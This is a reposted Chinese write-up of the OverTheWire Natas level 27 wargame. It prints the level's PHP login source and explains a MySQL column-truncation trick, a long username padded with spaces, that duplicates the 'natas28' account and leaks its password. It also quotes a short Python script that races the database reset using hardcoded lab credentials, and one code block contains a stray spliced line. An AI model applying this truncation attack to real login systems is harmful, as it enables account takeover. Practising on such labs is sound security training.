Natas Wargame Level27 Writeup（SQL表的注入/溢出与截取）

转载

a_18067 于 2017-05-25 23:30:00 发布 38 收藏
文章标签： 数据库 前端 php ViewUI
原文链接：http://www.cnblogs.com/liqiuhao/p/6906474.html

前端：

```
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
</head>
<body>
<h1>natas27</h1>
<div id="content">

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
```

未启用会话/cookie

sourcecode：

```
<?

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
```

```
    SELECT username from users where username= natas28" and password=
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysql_real_escape_string($usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
```

```
    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>
```

代码看起来存在很多注入点，但是都很难实现：一是通过了mysql-real-escape-string 转义，想要绕过的话也很困难：$password使用"括起来了，无法用like wildchar和number绕过（参见 ）。

继续分析，总结流程如下：

```
Receive Input -> Check if user exist -> ifexist check credentials -> show data.

Receive Input -> check if user exist -> if dosen't -> create user.
```

同时，**验证用户名/密码是否正确也仅仅是看返回数组是否>0**

很容易联想到，**如果我们插入一个和目标账目相同的行，即使我们不知道密码，`function checkCredentials($link,$usr,$pass)`的查找结果数组也会>0并返回true**，接着`function dumpData($link,$usr)`就可能回显真正的用户与密码了。（注意这里只会回显一行，虽然dumpData里面是个while循环，但里层直接return print_r($row,true)了）

插入要实现两点：

1. `function validUser($link,$usr)`查找不到用户。
2. **存储后**的username要和目标username相同，密码自己定。

这里还要参考两个mysql里面的知识点 ：

1. 字符串**存储时**若发生“溢出”，mysql会自动truncate到最大宽度。

2. 空格在varchar里面会被自动删除。

所以，正确的插入可以是这样“natas28+连续空格（此处超过64字节）+xxx”，密码随意，可以为空。（注意，后面的xxx是必须的，因为在mysql中'natas28'='natas28+空格'）,比较username时mysql并不会对提交的username进行truncate，所以判断用户名不存在，开始新建用户名和密码。一旦开始存储，就会发生溢出/截取，导致出现两个username同为‘natas28’的行。接着返回登录界面，输入natas28+密码。找寻操作会返回刚刚插入的数组（>0），所以查询成功，回显用户名和秘钥，这时回显的就是第一个nata28那行，即我们要获得的flag。

```
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
</head>
<body>
<h1>natas27</h1>
<div id="content">
Welcome natas28                                  !<br>Here is your data:<br>Array
(
    [username] =&gt; natas28
    [password] =&gt; JWwR438wkgTsNKBbcJoowyysdM82YjeF
)
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
```

突然发现有一个利用开头“5分钟重置”来进行注入的例子，思路是一样的，实现方法不一样（即重置后先于正常的NATAs28注入进去）：
From：http://www.voidcn.com/blog/lyover/article/p-4915422.html

```
import requests
data={'username':'natas28','password':''}
auth=requests.auth.HTTPBasicAuth('natas27','55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ')
while 1:
    re=requests.post("http://natas27.natas.labs.overthewire.org",auth=auth,data=data)
    if 'Wrong password' not in re.text:
        print(re.text)
        break
```

转载于:https://www.cnblogs.com/liqiuhao/p/6906474.html